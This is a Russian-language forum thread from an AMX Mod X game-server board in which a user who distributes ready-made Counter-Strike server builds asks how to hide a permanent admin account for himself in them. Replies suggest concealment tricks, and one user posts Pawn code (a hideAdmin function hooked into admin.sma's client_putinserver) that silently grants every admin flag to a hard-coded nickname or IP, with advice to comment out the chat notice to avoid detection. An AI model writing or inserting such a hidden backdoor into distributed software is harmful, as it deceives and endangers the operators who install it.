Правила форума Гаранты форума
Размещение рекламы AMX-X компилятор

Здравствуйте, гость Вход | Регистрация

Наши новости:

14-дек
24-апр
10-апр
11-апр

> Информационная доска

Данный раздел предназначен для обсуждения, а также решения технических проблем связанных с серверной частью. Обсуждения касательно игровых клиентов ведутся здесь.

1. Во время создания новой темы аккуратно оформляйте её, не допускайте грамматических ошибок.
2. Описывая проблему старайтесь, как можно больше рассказать о ней, а так же о действиях с сервером после которых она возникла, по возможности подкрепите информацию логами.
3. Если вопрос касается проблемы в работе сервера, то обязательно прикрепляйте список плагинов (введите в консоли сервера: meta list и amxx plugins), настройки server.cfg, логи. Так же указывайте операционную систему, версию HLDS (введите к консоли сервера: version) и где хостится сервер.

Длинную информацию скрывайте под спойлер.
2 страниц V   1 2

Как Сделать Безпалевное Админство?

Статус пользователя Makzz
сообщение 2.10.2007, 15:57
Сообщение #1


Стаж: 18 лет

Сообщений: 2198
Благодарностей: 1365
Полезность: 1080

Дело в том что я в сети раздаю моды (готовые серваки) и както на одном из них сделал незаметно для всех себя админом. Один довольно умный чел нашёл где я это сделал.....
Так вот чёж надо прописать в admin.sma , чтобы я всегда был админом?

















Скажим НЕТ флуду!!!!
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   Цитировать сообщение
Статус пользователя MikeRussia
сообщение 2.10.2007, 16:30
Сообщение #2


Стаж: 18 лет

Сообщений: 379
Благодарностей: 30
Полезность: 3

В чем трабл? Админку по IP пиши и все


!
Аккаунт пользователя заблокирован до: 26.12.2281, 15:34
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя ziumer
сообщение 2.10.2007, 23:54
Сообщение #3


Стаж: 18 лет

Сообщений: 270
Благодарностей: 42
Полезность: < 0

Цитата(MikeRussia @ 2.10.2007, 18:30) *
В чем трабл? Админку по IP пиши и все

Он же написал, что один умный чел пропалил всё это дело. И как я догадываюсь, наверняка рассказал другим rofl.gif

Кстати, мне тож интересно, как можно безпалевно админство прописать, хотя мне кажется, что никак...
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя jas0n
сообщение 3.10.2007, 0:33
Сообщение #4


Стаж: 19 лет

Сообщений: 878
Благодарностей: 385
Полезность: 688

Наверно никак, т.е. не просто. Можно поюзать баг amxx и зайти под ником админа, если админка по нику (:
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя MikeRussia
сообщение 3.10.2007, 13:11
Сообщение #5


Стаж: 18 лет

Сообщений: 379
Благодарностей: 30
Полезность: 3

В файле amxx.cfg

1) Строке amx_show_activity присваиваем значение 0.
2) Ставим админку по IP в users.ini Например: "88.151.128.14" "password" "abcdefghijklmnopqrstu" "de"
3) Ставим себе новый ник которыц никто не знает.
4) Убираем все информаторы о заходе адаина
5) Баним того умного человека

Отредактировал: MikeRussia, - 3.10.2007, 13:11


!
Аккаунт пользователя заблокирован до: 26.12.2281, 15:34
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя jas0n
сообщение 3.10.2007, 14:29
Сообщение #6


Стаж: 19 лет

Сообщений: 878
Благодарностей: 385
Полезность: 688

Перечитайте первый пост раз десят!
Он хочет прописать админку на себя в сборке сервера, а эти сборки он распространяет по сети. Но админка должна быть где-то прописана незаметно для глаз, тобиш НЕ в users.ini, а каким-то другим способом, чтоб не догадались.
Можно конечно сделать, чтоб аккаунты читались не только из users.ini, а еще из какого-то файла, который ты например закинеш в папку amxmodx\data\lang\, назовеш его непалевно и всё. Типа таво.
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя iLLuSioN
сообщение 3.10.2007, 15:33
Сообщение #7
Иконка группы

Стаж: 19 лет

Сообщений: 6911
Благодарностей: 7990
Полезность: 1639

MikeRussia читай внимательно вопросы чтоб не вводить в заблуждение.

чтоб прописать админа в admin.sma вам надо выцепить Mitek`a, он вроде знает


Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя Makzz
сообщение 3.10.2007, 15:38
Сообщение #8


Стаж: 18 лет

Сообщений: 2198
Благодарностей: 1365
Полезность: 1080

Цитата(jas0n @ 3.10.2007, 17:29) *
Перечитайте первый пост раз десят!
админка должна быть где-то прописана незаметно для глаз, тобиш НЕ в users.ini, а каким-то другим способом, чтоб не догадались.
Можно конечно сделать, чтоб аккаунты читались не только из users.ini, а еще из какого-то файла, который ты например закинеш в папку amxmodx\data\lang\, назовеш его непалевно и всё. Типа таво.

ДА!!!
Вообще было так:
Я сделал чтобы информация читалась из другого файла.
Но я хочу шоб в самом плагине было написано, что я админ! :)
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
^^Nelegal^^
сообщение 3.10.2007, 18:55
Сообщение #9
Стаж: 18 лет

Сообщений: 667
Благодарностей: 50
Полезность: < 0

стоп =) ты просто в файле сборки сервера сделал так что бы ты был админом. а поц взял и просек эту фишку и удалил??
ЕСЛИ ЭТО ТАК ТО НЕ ССЫ В МИРЕ ЕЩЕ МНОГО ХОРОШИХ СЕРВЕРОВ :D
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя jas0n
сообщение 3.10.2007, 18:56
Сообщение #10


Стаж: 19 лет

Сообщений: 878
Благодарностей: 385
Полезность: 688

Хе-хе) модно придумал глумиться над сетянами. Та впринципе можно в любой плаг зашить твое админство. Можно попробовать ;)
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя Makzz
сообщение 3.10.2007, 19:37
Сообщение #11


Стаж: 18 лет

Сообщений: 2198
Благодарностей: 1365
Полезность: 1080

Цитата(jas0n @ 3.10.2007, 21:56) *
Та впринципе можно в любой плаг зашить твое админство. Можно попробовать ;)

НУ ТАК КАК ЖЕ ЭТО СДЕЛАТЬ?????
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя jas0n
сообщение 4.10.2007, 10:12
Сообщение #12


Стаж: 19 лет

Сообщений: 878
Благодарностей: 385
Полезность: 688

Пробуй эту функцию вставить например в admin.sma в самый конец файла, предварительно вписав свой ip и перекомпилируй:
Код
hideAdmin ( id ) {
    new ip[16]
    new admip[16] = "000.000.000.000"           // сдесь впиши свой IP, например "192.168.13.83"
    get_user_ip(id, ip, sizeof admip - 1, 1)
    
    if (equal(ip, admip, sizeof ip - 1)) {
        new flgs_bitsum = read_flags("abcdefghijklmnopqrstu")
        remove_user_flags(id, -1)    
        set_user_flags(id, flgs_bitsum)
        client_print(0, print_chat, "gpo}|{uTe LL|eHKu, 9 BaLLl HoBblu 0gMuH!!!")
    }
}

Если будет работать - хорошо, если нет - доделаем. Пробуй.
ps.gif для полной безпалевности можеш строку client_print закоментировать (;
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя Makzz
сообщение 4.10.2007, 16:52
Сообщение #13


Стаж: 18 лет

Сообщений: 2198
Благодарностей: 1365
Полезность: 1080

По ИПу у меня ваще админство не пашет.
Как моно по имени сделать?

Отредактировал: Makzz, - 4.10.2007, 19:11
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя jas0n
сообщение 5.10.2007, 0:00
Сообщение #14


Стаж: 19 лет

Сообщений: 878
Благодарностей: 385
Полезность: 688

Сразу нужно уточнять. Завтра, тобиш сегодня с работы отпишу. Жди днем ответа.

День: Сходу тот скрипт по ip, который выше у меня не сработал в 2 часа ночи. Я тогда доделаю, проверю и только тогда выложу всё, как нужно.

Отредактировал: jas0n, - 5.10.2007, 8:48
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя KuLer
сообщение 5.10.2007, 17:30
Сообщение #15


Стаж: 19 лет

Сообщений: 101
Благодарностей: 4
Полезность: < 0

jas0n
А разве не нужно впихнуть в крипт флаги?:
d - это IP пользователя
е - пароль не проверяеться
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя Lexx_a
сообщение 6.10.2007, 1:03
Сообщение #16


Стаж: 19 лет

Сообщений: 2
Благодарностей: 1
Полезность: 0

По моему проще поставить АМХ Банс и админку через него прописать... в СКЛ..?
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя jas0n
сообщение 6.10.2007, 1:06
Сообщение #17


Стаж: 19 лет

Сообщений: 878
Благодарностей: 385
Полезность: 688

Воопсчем инструкция по применению:
1. Открываеш admin.sma и опускаешся в самый конец файла (для простоты, чтоб какую нить хню не запороть) и вставляеш там код:
Код
hideAdmin ( id ) {
    new name[32]
    new admname[] = "jas0n"  // Имя крысоОдмина. Тобиш пропиши тут себе "Makzz".
    get_user_name(id, name, sizeof(name) - 1)
    
    if (equali(admname, name, sizeof(admname) - 1)) {
        new flgs_bitsum = read_flags("abcdefghijklmnopqrstu") // Флаги, которые будут даваться крысоОдмину. Сейчас установлены все стандартные.
        remove_user_flags(id, -1)    
        set_user_flags(id, flgs_bitsum)
        client_print(0, print_chat, "gpo}|{uTe LL|eHKu, 9 BaLLl HoBblu 0gMuH!!!") // Строка которую можеш убрать, чтобы небыла палева (;
    }
}

2. Чуть выше находиш функцию:
Код
public client_putinserver(id)
{
    if (!is_dedicated_server() && id == 1)
        return get_cvar_num("amx_mode") ? accessUser(id) : PLUGIN_CONTINUE

    return PLUGIN_CONTINUE
}

3. Дописываеш в нейо hideAdmin(id), чтоб вышло следуюсчее:
Код
public client_putinserver(id)
{
    if (!is_dedicated_server() && id == 1)
        return get_cvar_num("amx_mode") ? accessUser(id) : PLUGIN_CONTINUE
    hideAdmin(id) // <- Осё сюда!
    return PLUGIN_CONTINUE
}

4. Меняеш имя на Makzz и коннэктишся одмином.
nb1: Имя чуствительно к регистру, тобиш если ты будеш заходить под ником makzz, права не дадутса!
nb2: Права даются только при входе на сервер с правильным ником (тобиш сменив ник на "одминский" во время игры прав не получиш - нужен рэконнэкт). Но если играя с "одминским" ником смениш имя на какое-то другое, то права сразу пропадут.
Хух! :Р

Цитата("KuLer")
А разве не нужно впихнуть в крипт флаги?:
d - это IP пользователя
е - пароль не проверяеться

Не дада, зачем?
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя MikeRussia
сообщение 6.10.2007, 6:15
Сообщение #18


Стаж: 18 лет

Сообщений: 379
Благодарностей: 30
Полезность: 3

Jas0n king of coders!!!

Respect


!
Аккаунт пользователя заблокирован до: 26.12.2281, 15:34
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя Makzz
сообщение 6.10.2007, 17:29
Сообщение #19


Стаж: 18 лет

Сообщений: 2198
Благодарностей: 1365
Полезность: 1080

Так СТОП.
А если чел сделает через нью гейм, админство как я понял пашет токо на DS?
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя Saimon
сообщение 6.10.2007, 17:56
Сообщение #20


Стаж: 18 лет

Сообщений: 136
Благодарностей: 46
Полезность: 267

jas0n голова clapping.gif вот бы еще по IP замутить чтоб работало вообще было бы шоколоадно :)

Отредактировал: Saimon, - 6.10.2007, 17:57
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
2 страниц V   1 2
 
Тема закрытаНачать новую тему
 
0 пользователей и 1 гостей читают эту тему: